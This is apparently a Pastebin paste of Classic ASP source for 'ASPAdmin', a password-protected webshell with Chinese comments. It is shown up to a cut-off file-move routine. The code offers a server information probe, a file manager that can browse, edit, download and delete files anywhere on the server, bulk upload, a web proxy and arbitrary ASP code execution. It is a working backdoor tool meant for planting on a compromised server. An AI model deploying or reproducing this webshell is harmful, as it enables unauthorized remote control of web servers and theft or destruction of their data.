SHARE
TWEET

Untitled

a guest Jun 16th, 2019 117 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
  2. <%
  3.     Option Explicit
  4.     Response.Buffer = True
  5.    
  6.     Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
  7.     Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
  8.     theAct = GetPost("theAct")
  9.     PageSize = 20 ''默认每页记录数
  10.     isSqlServer = False
  11.     rootPath = Server.MapPath("/")
  12.     pageName = GetPost("PageName")
  13.     url = Request.ServerVariables("URL") ''当前页的相对路径
  14.     sPacketName = "Packet.mdb" ''文件包默认文件名
  15.     thePath = Replace(getPost("thePath"), "\\", "\")
  16.     sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
  17.     accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
  18.    
  19.     Const m = "ASPAdmin_A" ''Session标志
  20.     Const isDebugMode = False 'False,True''是否调试模式
  21.     Const maxPageCount = 600 ''查询时最多只列出N页的链接
  22.     Const userPassword = "fuckingday" ''登录密码
  23.     Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
  24.     Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
  25.  
  26.     Sub echo(str)
  27.         Response.Write(str)
  28.     End Sub
  29.    
  30.     Sub IsIn()
  31.         If Session(m & "userPassword") <> userPassword Then
  32.             echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
  33.         End If
  34.     End Sub
  35.    
  36.     Function IIf(var, val1, val2)
  37.         If var = True Then
  38.             IIf = val1
  39.          Else
  40.             IIf = val2
  41.         End If
  42.     End Function
  43.    
  44.     Sub RedirectTo(url)
  45.         Response.Redirect(url)
  46.     End Sub
  47.    
  48.     Function GetPost(var)
  49.         Dim val
  50.         If Request.QueryString("PageName") = "PageUpload" Then
  51.             pageName = "PageUpload"
  52.             Exit Function
  53.         End If
  54.         val = RTrim(Request.Form(var))
  55.         If val = "" Then
  56.             val = RTrim(Request.QueryString(var))
  57.         End If
  58.         GetPost = val
  59.     End Function
  60.    
  61.     Function HtmlEncode(str)
  62.         If IsNull(str) Then Exit Function
  63.         HtmlEncode = Server.HTMLEncode(str)
  64.     End Function
  65.    
  66.     Function UrlEncode(str)
  67.         If IsNull(str) Then Exit Function
  68.         UrlEncode = Server.UrlEncode(str)
  69.     End Function
  70.    
  71.     Sub ShowTitle(str)
  72.         Response.Write "<title>" & str & " - 程序网络工作组ASPAdmin(物理路径版) V1.02</title>"
  73.         Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
  74.     End Sub
  75.    
  76.     Function GetTheSize(num)
  77.         Dim i, arySize(4)
  78.         arySize(0) = "B"
  79.         arySize(1) = "KB"
  80.         arySize(2) = "MB"
  81.         arySize(3) = "GB"
  82.         arySize(4) = "TB"
  83.         While(num / 1024 >= 1)
  84.             num = Fix(num / 1024 * 100) / 100
  85.             i = i + 1
  86.         WEnd
  87.         GetTheSize = num & " " & arySize(i)
  88.     End Function
  89.    
  90.     Sub ShowErr(str)
  91.         Dim i, arrayStr
  92.         str = Server.HtmlEncode(str)
  93.         arrayStr = Split(str, "$$")
  94.  
  95.         echo "<font size=2>"
  96.         echo "出错信息:<br/><br/>"
  97.         For i = 0 To UBound(arrayStr)
  98.             echo "&nbsp;&nbsp;" & (i + 1) & ". " & arrayStr(i) & "<br/>"
  99.         Next
  100.         echo "</font>"
  101.  
  102.         Response.End()
  103.     End Sub
  104.    
  105.     Sub CreateFolder(thePath)
  106.         Dim i
  107.         i = InStr(Mid(thePath, 4), "\") + 3
  108.         Do While i > 0
  109.             If fso.FolderExists(Left(thePath, i)) = False Then
  110.                 fso.CreateFolder(Left(thePath, i - 1))
  111.             End If
  112.             If InStr(Mid(thePath, i + 1), "\") Then
  113.                 i = i + Instr(Mid(thePath, i + 1), "\")
  114.              Else
  115.                 i = 0
  116.             End If
  117.         Loop
  118.     End Sub
  119.    
  120.     Sub AlertThenClose(str)
  121.         If str = "" Then
  122.             Response.Write "<script>window.close();</script>"
  123.          Else
  124.             Response.Write "<script>alert(""" & str & """);window.close();</script>"
  125.         End If
  126.     End Sub
  127.    
  128.     Sub ChkErr(Err)
  129.         If Err Then
  130.             echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
  131.             echo "<hr style='color:#d8d8f0;'/>&nbsp;By Marcos 2005.06</font>"
  132.             Err.Clear
  133.             Response.End
  134.         End If
  135.     End Sub
  136.    
  137.     Sub TopMenu()
  138.         echo "<form method=post name=formp action=""" & url & """>"
  139.         echo "<select name=PageName onchange=changePage(this)>"
  140.         echo "<option value=''>请选择功能页面</option>"
  141.         echo "<option value=PageCheck>服务器信息探针</option>"
  142.         echo "<option value=PageFso>FSO文件浏览操作器</option>"
  143.         echo "<option value=PageDBTool>数据库操作器</option>"
  144.         echo "<option value=PagePack>文件夹打包/解开器</option>"
  145.         echo "<option value=PageUpload>批量文件上传</option>"
  146.         echo "<option value=PageSearch>文本文件搜索器</option>"
  147.         echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
  148.         echo "<option value=PageExecute>自定义ASP语句运行</option>"
  149.         echo "<option value=PageOut>退出系统</option>"
  150.         echo "</select>"
  151.         echo "</form>"
  152.         echo "<script lanuage=javascript>"
  153.         echo "formp.PageName.value='" & pageName & "';"
  154.         echo "function changePage(obj){"
  155.         echo "  if(obj.value=='PageOut')"
  156.         echo "      if(!confirm('确认要退出系统吗?'))return;"
  157.         echo "if(obj.value=='PageWebProxy')obj.form.target='_blank';"
  158.         echo "  obj.form.submit();obj.form.target='';"
  159.         echo "}"
  160.         echo "</script>"
  161.     End Sub
  162.    
  163.     Rem ++++++++++++++++++++++++++++++++++++
  164.     Rem         以下是页面选择部分
  165.     Rem ++++++++++++++++++++++++++++++++++++
  166.    
  167.     PageOther()
  168.     If pageName <> "" Then
  169.         IsIn()
  170.         TopMenu()
  171.     End If
  172.    
  173.     Select Case pageName
  174.         Case "PageSearch"
  175.             PageSearch()
  176.         Case "PageCheck"
  177.             PageCheck()
  178.         Case "PageFso"
  179.             PageFso()
  180.         Case "PageDBTool"
  181.             PageDBTool()
  182.         Case "PageUpload"
  183.             PageUpload()
  184.         Case "PagePack"
  185.             PagePack()
  186.         Case "PageExecute"
  187.             PageExecute()
  188.         Case "PageWebProxy"
  189.             PageWebProxy()
  190.         Case "", "PageOut"
  191.             PageLogin()
  192.     End Select
  193.  
  194.     Rem +++++++++++++++++++++++++++++++++++++
  195.     Rem         以下是各功能模块部分
  196.     Rem +++++++++++++++++++++++++++++++++++++
  197.    
  198.     Sub PageSearch()
  199.         Dim strKey, strPath
  200.         strKey = GetPost("Key")
  201.         Server.ScriptTimeout = 5000
  202.         If thePath = "" Then thePath = rootPath
  203.        
  204.         ShowTitle("文本文件搜索器")
  205.        
  206.         SearchTable(strKey)
  207.        
  208.         If theAct <> "" And strKey <> "" Then
  209.             SearchIt(strKey)
  210.         End If
  211.     End Sub
  212.    
  213.     Sub SearchTable(strKey)
  214.         echo "<table width=750 border=1>"
  215.         echo "<form method=post action='" & url & "'>"
  216.         echo "<input type=hidden value=PageSearch name=PageName>"
  217.         echo "<tr>"
  218.         echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
  219.         echo "</tr>"
  220.         echo "<tr>"
  221.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  222.         echo "</tr>"
  223.         echo "<tr>"
  224.         echo "<td>&nbsp;路径</td>"
  225.         echo "<td>&nbsp;<input name=thePath type=text id=thePath value='"
  226.         echo HtmlEncode(thePath)
  227.         echo "' style='width:360px;'>"
  228.         echo "</td>"
  229.         echo "</tr>"
  230.         echo "<tr>"
  231.         echo "<td width='20%'>&nbsp;关键字</td>"
  232.         echo "<td>&nbsp;<input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
  233.         echo "<select name=theAct id=theAct>"
  234.         echo "<option value=FileName selected>仅文件名</option>"
  235.         echo "<option value=FileContent>仅文本内容</option>"
  236.         echo "<option value=Both>两者都</option>"
  237.         echo "</select>"
  238.         echo " <input type=submit name=Submit value=提交> </td>"
  239.         echo "</tr>"
  240.         echo "<tr>"
  241.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  242.         echo "</tr>"
  243.         echo "<tr align=right>"
  244.         echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
  245.         echo "</tr>"
  246.         echo "</form>"
  247.         echo "</table>"
  248.     End Sub
  249.    
  250.     Sub SearchIt(key)
  251.         Dim strPath, theFolder
  252.         Response.Buffer = True
  253.         strPath = thePath
  254.         If fso.FolderExists(strPath) = False Then
  255.             ShowErr(thePath & " 目录不存在或者不允许访问!")
  256.         End If
  257.         Set theFolder = fso.GetFolder(strPath)
  258.        
  259.         echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"
  260.  
  261.         Select Case theAct
  262.             Case "Both"
  263.                 Call SearchFolder(theFolder, key, 1)
  264.             Case "FileName"
  265.                 Call SearchFolder(theFolder, key, 2)
  266.             Case "FileContent"
  267.                 Call SearchFolder(theFolder, key, 3)
  268.         End Select
  269.        
  270.         echo "</div>"
  271.        
  272.         Set theFolder = Nothing
  273.     End Sub
  274.    
  275.     Sub SearchFolder(folder, key, flag)
  276.         Dim ext, title, theFile, theFolder
  277.        
  278.         For Each theFile In folder.Files
  279.             ext = LCase(fso.GetExtensionName(theFile.Path))
  280.             If flag = 1 Or flag = 2 Then
  281.                 If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
  282.             End If
  283.             If flag = 1 Or flag = 3 Then
  284.                 If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
  285.                     If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
  286.                 End If
  287.             End If
  288.         Next
  289.  
  290.         Response.Flush()
  291.  
  292.         For Each theFolder In folder.SubFolders
  293.             Call SearchFolder(theFolder, key, flag)
  294.         Next
  295.     end sub
  296.    
  297.     Function SearchFile(f, s, title)
  298.         Dim theFile, content, pos1, pos2
  299.         If isDebugMode = False Then On Error Resume Next
  300.  
  301.         Set theFile = fso.OpenTextFile(f.Path)
  302.         content = theFile.ReadAll()
  303.         theFile.Close
  304.         Set theFile = Nothing
  305.  
  306.         If Err Then
  307.             Err.Clear
  308.         End If
  309.  
  310.         SearchFile = InStr(1, content, s, 1)
  311.         If SearchFile > 0 Then
  312.             pos1 = InStr(1, content, "<TITLE>", 1)
  313.             pos2 = InStr(1, content, "</TITLE>", 1)
  314.             title = ""
  315.             If pos1 > 0 And pos2 > 0 Then
  316.                 title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
  317.             End If
  318.         End If
  319.     End Function
  320.    
  321.     Function FileLink(file, title)
  322.         fileLink = file.Path
  323.         If title = "" Then
  324.             title = file.Name
  325.         End If
  326.         fileLink = "&nbsp;<font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
  327.     End Function
  328.  
  329.     Sub PageCheck()
  330.         ShowTitle("服务器信息探针")
  331.         InfoCheck()
  332.         If theAct <> "" Then
  333.         GetAppOrSession(theAct)
  334.         End If
  335.         ObjCheck()
  336.     End Sub
  337.  
  338.     Sub InfoCheck()
  339.         Dim aryCheck(6)
  340.         If isDebugMode = False Then On Error Resume Next
  341.  
  342.         aryCheck(0) = Server.ScriptTimeOut() & "(秒)"
  343.         aryCheck(1) = FormatDateTime(Now(), 0)
  344.         aryCheck(2) = Request.ServerVariables("SERVER_NAME")
  345.         aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
  346.         aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
  347.         aryCheck(3) = Request.ServerVariables("OS")
  348.         aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
  349.         aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
  350.         aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
  351.         aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
  352.         aryCheck(5) = aryCheck(5) & "&nbsp;Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
  353.         aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
  354.         aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
  355.         aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId()
  356.  
  357.         echo "<table width=750 border=1>"
  358.         echo "<tr>"
  359.         echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息"
  360.         echo "</td>"
  361.         echo "</tr>"
  362.         echo "<tr>"
  363.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  364.         echo "</tr>"
  365.         echo "<tr class=td>"
  366.         echo "<td width='20%'>&nbsp;项目</td>"
  367.         echo "<td>&nbsp;值</td>"
  368.         echo "</tr>"
  369.         echo "<tr>"
  370.         echo "<td>&nbsp;默认超时</td>"
  371.         echo "<td>&nbsp;"&aryCheck(0)&"</td>"
  372.         echo "</tr>"
  373.         echo "<tr>"
  374.         echo "<td>&nbsp;当前时间</td>"
  375.         echo "<td>&nbsp;"&aryCheck(1)&"</td>"
  376.         echo "</tr>"
  377.         echo "<tr>"
  378.         echo "<td>&nbsp;服务器名</td>"
  379.         echo "<td>&nbsp;"&aryCheck(2)&"</td>"
  380.         echo "</tr>"
  381.         echo "<tr>"
  382.         echo "<td>&nbsp;软件环境</td>"
  383.         echo "<td>&nbsp;"&aryCheck(3)&"</td>"
  384.         echo "</tr>"
  385.         echo "<tr>"
  386.         echo "<td>&nbsp;站点目录</td>"
  387.         echo "<td>&nbsp;"&aryCheck(4)&"</td>"
  388.         echo "</tr>"
  389.         echo "<tr>"
  390.         echo "<td>&nbsp;当前路径</td>"
  391.         echo "<td>&nbsp;"&aryCheck(5)&"</td>"
  392.         echo "</tr>"
  393.         echo "<tr>"
  394.         echo "<td>&nbsp;其它</td>"
  395.         echo "<td>&nbsp;"&aryCheck(6)&"</td>"
  396.         echo "</tr>"
  397.         echo "<tr>"
  398.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  399.         echo "</tr>"
  400.         echo "<tr align=right>"
  401.         echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
  402.         echo "</tr>"
  403.         echo "</table>"
  404.     End Sub
  405.  
  406.     Sub ObjCheck()
  407.         Dim aryObj(19)
  408.         Dim x, objTmp, theObj, strObj
  409.         If isDebugMode = False Then On Error Resume Next
  410.  
  411.         strObj = Trim(getPost("TheObj"))
  412.         aryObj(0) = "MSWC.AdRotator|广告轮换组件"
  413.         aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
  414.         aryObj(2) = "MSWC.NextLink|内容链接库组件"
  415.         aryObj(3) = "MSWC.Tools|"
  416.         aryObj(4) = "MSWC.Status|"
  417.         aryObj(5) = "MSWC.Counters|计数器组件"
  418.         aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
  419.         aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
  420.         aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
  421.         aryObj(9) = "Scripting.FileSystemObject|FSO组件"
  422.         aryObj(10) = "Adodb.Stream|Stream 流组件"
  423.         aryObj(11) = "Shell.Application|"
  424.         aryObj(12) = "WScript.Shell|"
  425.         aryObj(13) = "Wscript.Network|"
  426.         aryObj(14) = "ADOX.Catalog|"
  427.         aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
  428.         aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
  429.         aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
  430.         aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
  431.         aryObj(19) = strObj & "|您所要检测的组件"
  432.  
  433.         echo "<br/>"
  434.         echo "<table width=750 border=1>"
  435.         echo "<tr>"
  436.         echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
  437.         echo "</td>"
  438.         echo "</tr>"
  439.         echo "<tr>"
  440.         echo "<td colspan=3 class=trHead>&nbsp;</td>"
  441.         echo "</tr>"
  442.         echo "<tr class=td>"
  443.         echo "<td>&nbsp;组件<font color=#666666>(描述)</font></td>"
  444.         echo "<td width=10% align=center>支持</td>"
  445.         echo "<td width=15% align=center>版本</td>"
  446.         echo "</tr>"
  447.         For Each x In aryObj
  448.             theObj = Split(x, "|")
  449.             If theObj(0) = "" Then Exit For
  450.             Set objTmp = Server.CreateObject(theObj(0))
  451.             If Err <> -2147221005 Then
  452.                 x = x & "|√|"
  453.                 x = x & objTmp.Version
  454.             Else
  455.                 x = x & "|<font color=red>×</font>|"
  456.             End If
  457.             If Err Then Err.Clear
  458.             Set objTmp = Nothing
  459.  
  460.             theObj = Split(x, "|")
  461.             theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
  462.             echo "<tr>"
  463.             echo "<td>&nbsp;" & theObj(1) & "</td>"
  464.             echo "<td align=center>" & theObj(2) & "</td>"
  465.             echo "<td align=center>" & theObj(3) & "</td>"
  466.             echo "</tr>"
  467.         Next
  468.         echo "<form method=post action='" & url & "'>"
  469.         echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>"
  470.         echo "<tr>"
  471.         echo "<td colspan=3>&nbsp;其它组件检测:"
  472.         echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>"
  473.         echo "<input type=submit name=Submit value=提交></td>"
  474.         echo "</tr>"
  475.         echo "</form>"
  476.         echo "<tr>"
  477.         echo "<td colspan=3 class=trHead>&nbsp;</td>"
  478.         echo "</tr>"
  479.         echo "<tr align=right>"
  480.         echo "<td colspan=3 class=td>By Marcos 2005.06&nbsp;</td>"
  481.         echo "</tr>"
  482.         echo "</table>"
  483.     End Sub
  484.  
  485.     Sub GetAppOrSession(theAct)
  486.         Dim x, y
  487.         If isDebugMode = False Then On Error Resume Next
  488.  
  489.         echo "<br/>"
  490.         echo "<table width=750 border=1 class=fixTable>"
  491.         echo "<tr>"
  492.         echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看"
  493.         echo "</td>"
  494.         echo "</tr>"
  495.         echo "<tr>"
  496.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  497.         echo "</tr>"
  498.         echo "<tr class=td>"
  499.         echo "<td width='20%'>&nbsp;变量</td>"
  500.         echo "<td>&nbsp;值</td>"
  501.         echo "</tr>"
  502.         If theAct = "app" Then
  503.             For Each x In Application.Contents
  504.                 echo "<tr><td valign=top>"
  505.                 echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
  506.                 echo "</td><td style='padding-left:7px;'><span>"
  507.                 If IsArray(Application(x)) = True Then
  508.                     For Each y In Application(x)
  509.                         echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
  510.                     Next
  511.                  Else
  512.                     echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
  513.                 End If
  514.                 echo "</span></td></tr>"
  515.             Next
  516.         End If
  517.         If theAct = "session" Then
  518.             For Each x In Session.Contents
  519.                 echo "<tr><td valign=top>"
  520.                 echo "&nbsp;<span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
  521.                 echo "</td><td style='padding-left:7px;'><span>"
  522.                 echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
  523.                 echo "</span></td></tr>"
  524.             Next
  525.         End If
  526.         echo "<tr>"
  527.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  528.         echo "</tr>"
  529.         echo "<tr align=right>"
  530.         echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
  531.         echo "</tr>"
  532.         echo "</table>"
  533.     End Sub
  534.  
  535.     Sub PageFso()
  536.         ShowTitle("FSO文件浏览操作器")
  537.        
  538.         Select Case theAct
  539.             Case "rename"
  540.                 RenOne()
  541.             Case "download"
  542.                 DownTheFile()
  543.                 Response.End()
  544.             Case "del"
  545.                 DelOne()
  546.             Case "newone"
  547.                 NewOne()
  548.             Case "saveas"
  549.                 SaveAs()
  550.             Case "save"
  551.                 SaveToFile()
  552. '               AlertThenClose("文件修改成功!")
  553.                 ShowEdit()
  554.                 Response.End()
  555.             Case "showedit"
  556.                 ShowEdit()
  557.                 Response.End()
  558.             Case "showimage"
  559.                 ShowImage()
  560.                 Response.End()
  561.             Case "copy", "move"
  562.                 MoveCopyOne()
  563.         End Select
  564.        
  565.         If theAct <> "" Then thePath = GetPost("truePath")
  566.        
  567.         FsoFileExplorer()
  568.     End Sub
  569.  
  570.     Sub FsoFileExplorer()
  571.         Dim objX, theFolder, folderId, extName, parentFolderName
  572.         Dim strPath
  573.         If isDebugMode = False Then On Error Resume Next
  574.         If thePath = "" Then thePath = rootPath
  575.         strPath = thePath
  576.        
  577.         If fso.FolderExists(strPath) = False Then
  578.             ShowErr(thePath & " 目录不存在或者不允许访问!")
  579.         End If
  580.        
  581.         Set theFolder = fso.GetFolder(strPath)
  582.         parentFolderName = fso.GetParentFolderName(strPath) & "\"
  583.        
  584.         echo "<table width=750 border=1>"
  585.         echo "<form method=post action='" & url & "'>"
  586.         echo "<tr>"
  587.         echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
  588.         echo "</tr>"
  589.         echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
  590.         echo "<tr>"
  591.         echo "<td colspan=2>&nbsp;"
  592.         echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
  593.         echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
  594.         echo " <input type=button value='提交' onclick=Command('submit');>"
  595.         echo " <input type=button value=上传 onclick=Command('upload')>"
  596.         echo "</td>"
  597.         echo "</tr>"
  598.         echo "<tr><td colspan=2 class=trHead>&nbsp;</td></tr>"
  599.         echo "<tr><td valign=top>"
  600.         echo "<input type=hidden name=theAct>"
  601.         echo "<input type=hidden name=param>"
  602.         echo "<input type=hidden value=PageFso name=PageName>"
  603.         echo "<table width='99%' align=center>"
  604.         echo "<tr><td colspan=4 class=trHead>&nbsp;</td></tr><tr class=td><td>"
  605.  
  606.         If parentFolderName <> "\" Then
  607.             folderId = Replace(parentFolderName, "\", "\\")
  608.             echo "&nbsp;<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">↑回上级目录</a>"
  609.         End If
  610.         echo "</td><td align=center width=80>大小</td>"
  611.         echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"
  612.  
  613.         For Each objX In theFolder.SubFolders
  614.             folderId = Replace(objX.Path, "\", "\\")
  615.             echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>■</font>"
  616.             echo "<span class=fixSpan style='width:180;'>"
  617.             echo "<a href=""javascript:changeThePath(&#34;" & folderId & "&#34;);"">"& objX.Name & "</a></span>"
  618.             echo "</td>"
  619.             echo "<td align=center>-</td>"
  620.             echo "<td align=center>" & objX.DateLastModified & "</td><td>"
  621.             echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
  622.             echo "<input type=button onclick=""Command('rename',&#34;" & objX.Name & "&#34;);"" value='Ren' title=重命名>"
  623.             echo "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',&#34;" & Replace(objX.Path, "\", "\\") & "&#34;)"">"
  624.             echo "</td></tr>"
  625.         Next
  626.         For Each objX In theFolder.Files
  627.             If Left(objX.Path, Len(rootPath)) <> rootPath Then
  628.                 folderId = ""
  629.              Else
  630.                 folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
  631.             End If
  632.             echo "<tr title=""" & objX.Name & """><td>&nbsp;<font color=CCCCFF>□</font>"
  633.             echo "<span class=fixSpan style='width:180;'>"
  634.             If folderId = "" Then
  635.                 echo objX.Name
  636.              Else
  637.                 echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
  638.             End If
  639.             echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
  640.             echo "<td align=center>" & objX.DateLastModified & "</td><td>"
  641.             echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
  642.            
  643.             extName = LCase(fso.GetExtensionName(objX.Path))
  644.             If InStr(editableFileExt, "$" & extName & "$") > 0 Then
  645.                 echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',&#34;" & objX.Name & "&#34;);"">"
  646.             End If
  647.             If InStr(imageFileExt, "$" & extName & "$") > 0 Then
  648.                 echo "<input type=button value='View' title=查看图片 onclick=""Command('showimage',&#34;" & objX.Name & "&#34;);"">"
  649.             End If
  650.             If extName = "mdb" Then
  651.                 echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
  652.             End If
  653.             echo "<input type=button value='D' title=下载 onclick=""Command('download',&#34;" & objX.Name & "&#34;)"">"
  654.             echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',&#34;" & objX.Name & "&#34;)"">"
  655.             echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',&#34;" & Replace(objX.Path, "\", "\\") & "&#34;)"">"
  656.             echo "</td></tr>"
  657.         Next
  658.         echo "<tr class=td><td colspan=3></td>"
  659.         echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
  660.         echo "<input type=button value='Delete' onclick=Command('del')>"
  661.         echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
  662.         echo "</td></tr></table>"
  663.         echo "</td><td width='20%' valign=top align=center>"
  664.         echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
  665.         echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
  666.         echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
  667.         echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
  668.         echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
  669.         echo "</td></tr><tr>"
  670.         echo "<td colspan=2 class=trHead>&nbsp;</td>"
  671.         echo "</tr>"
  672.         echo "<tr align=right>"
  673.         echo "<td colspan=2 class=td>By Marcos 2005.06&nbsp;</td>"
  674.         echo "</tr>"
  675.         echo "</form>"
  676.         echo "</table>"
  677.        
  678.         Set theFolder = Nothing
  679.     End Sub
  680.    
  681.     Sub RenOne()
  682.         Dim objX, strPath, aryParam, isFile, isFolder
  683.         If isDebugMode = False Then On Error Resume Next
  684.         aryParam = Split(GetPost("param"), ",")
  685.         strPath = GetPost("truePath") & "\"
  686.         aryParam(0) = strPath & aryParam(0)
  687.         isFile = fso.FileExists(aryParam(0))
  688.         isFolder = fso.FolderExists(aryParam(0))
  689.  
  690.         If isFile = False And isFolder = False Then
  691.             ShowErr("文件(夹)不存在或者不允许访问!")
  692.         End If
  693.  
  694.         If isFile = False Then
  695.             Set objX = fso.GetFolder(aryParam(0))
  696.             objX.Name = aryParam(1)
  697.          Else
  698.             Set objX = fso.GetFile(aryParam(0))
  699.             objX.Name = aryParam(1)
  700.         End If
  701.         Set objX = Nothing
  702.  
  703.         ChkErr(Err)
  704.     End Sub
  705.    
  706.     Sub DownTheFile()
  707.         Response.Clear
  708.         Dim stream, strPath, fileContentType
  709.         If isDebugMode = False Then On Error Resume Next
  710.         strPath = GetPost("truePath") & "\" & GetPost("param")
  711.  
  712.         Set stream = Server.CreateObject("adodb.stream")
  713.         stream.Open
  714.         stream.Type = 1
  715.         stream.LoadFromFile(strPath)
  716.         ChkErr(Err)
  717.         Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
  718.         Response.AddHeader "Content-Length", stream.Size
  719.         Response.Charset = "UTF-8"
  720.         Response.ContentType = "Application/Octet-Stream"
  721.         Response.BinaryWrite stream.Read
  722.         Response.Flush
  723.         stream.Close
  724.         Set stream = Nothing
  725.     End Sub
  726.    
  727.     Sub DelOne()
  728.         Dim objX, strPath
  729.         If isDebugMode = False Then On Error Resume Next
  730.         strPath = GetPost("truePath") & "\"
  731.         For Each objX In Request.Form("checkBox")
  732.             If fso.FolderExists(strPath & objX) = True Then
  733.                 Call fso.DeleteFolder(strPath & objX, True)
  734.                 ChkErr(Err)
  735.             Else
  736.                 If fso.FileExists(strPath & objX) = True Then
  737.                     Call fso.DeleteFile(strPath & objX, True)
  738.                     ChkErr(Err)
  739.                 End If
  740.             End If
  741.         Next
  742.     End Sub
  743.  
  744.     Sub MoveCopyOne()
  745.         Dim objX, strPath, strMoveTo, strCopyTo
  746.         If isDebugMode = False Then On Error Resume Next
  747.         strMoveTo = GetPost("MoveTo")
  748.         strCopyTo = GetPost("CopyTo")
  749.         strPath = GetPost("truePath") & "\"
